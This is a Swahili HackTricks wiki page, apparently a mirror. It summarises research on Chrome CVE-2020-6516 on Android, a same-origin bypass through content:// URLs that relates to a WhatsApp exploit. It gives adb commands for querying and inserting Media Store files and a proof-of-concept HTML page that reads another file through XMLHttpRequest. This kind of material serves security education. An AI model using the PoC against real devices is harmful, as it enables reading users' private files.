mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
79 lines
3.6 KiB
Markdown
79 lines
3.6 KiB
Markdown
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
**Hii ni muhtasari wa chapisho [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
|
|
|
### Kuorodhesha Faili katika Media Store
|
|
|
|
Ili kuorodhesha faili zinazodhibitiwa na Media Store, amri iliyo hapa chini inaweza kutumika:
|
|
```bash
|
|
$ content query --uri content://media/external/file
|
|
```
|
|
Kwa matokeo rafiki zaidi kwa binadamu, kuonyesha tu kitambulisho na njia ya kila faili iliyoorodheshwa:
|
|
```bash
|
|
$ content query --uri content://media/external/file --projection _id,_data
|
|
```
|
|
Watoa maudhui wamejengwa katika eneo lao la kibinafsi. Upatikanaji wa mtoa huduma unahitaji URI maalum ya `content://`. Taarifa kuhusu njia za kufikia mtoa huduma zinaweza kupatikana kutoka kwa hati za programu au ms source code wa Android framework.
|
|
|
|
### Upatikanaji wa Chrome kwa Watoa Maudhui
|
|
|
|
Chrome kwenye Android inaweza kufikia watoa maudhui kupitia mpango wa `content://`, ikiruhusu kufikia rasilimali kama picha au hati zilizotolewa na programu za wahusika wengine. Ili kuonyesha hili, faili inaweza kuingizwa kwenye Media Store na kisha kufikiwa kupitia Chrome:
|
|
|
|
Ingiza kipengele maalum kwenye Media Store:
|
|
```bash
|
|
cd /sdcard
|
|
echo "Hello, world!" > test.txt
|
|
content insert --uri content://media/external/file \
|
|
--bind _data:s:/storage/emulated/0/test.txt \
|
|
--bind mime_type:s:text/plain
|
|
```
|
|
Gundua kitambulisho cha faili mpya iliyoongezwa:
|
|
```bash
|
|
content query --uri content://media/external/file \
|
|
--projection _id,_data | grep test.txt
|
|
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
|
|
```
|
|
Faili linaweza kuangaliwa katika Chrome kwa kutumia URL iliyoundwa na kitambulisho cha faili.
|
|
|
|
Kwa mfano, ili orodhesha faili zinazohusiana na programu maalum:
|
|
```bash
|
|
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
|
|
```
|
|
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
|
|
|
|
_Same Origin Policy_ (SOP) ni itifaki ya usalama katika vivinjari inayopunguza kurasa za wavuti kutoka kuingiliana na rasilimali kutoka vyanzo tofauti isipokuwa ruhusiwe wazi na sera ya Cross-Origin-Resource-Sharing (CORS). Sera hii inalenga kuzuia uvujaji wa taarifa na udanganyifu wa maombi ya tovuti tofauti. Chrome inachukulia `content://` kama mpango wa ndani, ikimaanisha sheria za SOP kali, ambapo kila URL ya mpango wa ndani inachukuliwa kama chanzo tofauti.
|
|
|
|
Hata hivyo, CVE-2020-6516 ilikuwa udhaifu katika Chrome ambao uliruhusu kupita sheria za SOP kwa rasilimali zilizopakiwa kupitia URL ya `content://`. Kwa hivyo, msimbo wa JavaScript kutoka URL ya `content://` ungeweza kufikia rasilimali nyingine zilizopakiwa kupitia URL za `content://`, ambayo ilikuwa wasiwasi mkubwa wa usalama, hasa kwenye vifaa vya Android vinavyotumia toleo la kabla ya Android 10, ambapo uhifadhi wa kiwango haukuwekwa.
|
|
|
|
Uthibitisho wa dhana hapa chini unaonyesha udhaifu huu, ambapo hati ya HTML, baada ya kupakiwa chini ya **/sdcard** na kuongezwa kwenye Media Store, inatumia `XMLHttpRequest` katika JavaScript yake kufikia na kuonyesha maudhui ya faili nyingine katika Media Store, ikipita sheria za SOP.
|
|
|
|
Proof-of-Concept HTML:
|
|
```xml
|
|
<html>
|
|
<head>
|
|
<title>PoC</title>
|
|
<script type="text/javascript">
|
|
function poc()
|
|
{
|
|
var xhr = new XMLHttpRequest();
|
|
|
|
xhr.onreadystatechange = function()
|
|
{
|
|
if(this.readyState == 4)
|
|
{
|
|
if(this.status == 200 || this.status == 0)
|
|
{
|
|
alert(xhr.response);
|
|
}
|
|
}
|
|
}
|
|
|
|
xhr.open("GET", "content://media/external/file/747");
|
|
xhr.send();
|
|
}
|
|
</script>
|
|
</head>
|
|
<body onload="poc()"></body>
|
|
</html>
|
|
```
|
|
{{#include ../../banners/hacktricks-training.md}}
|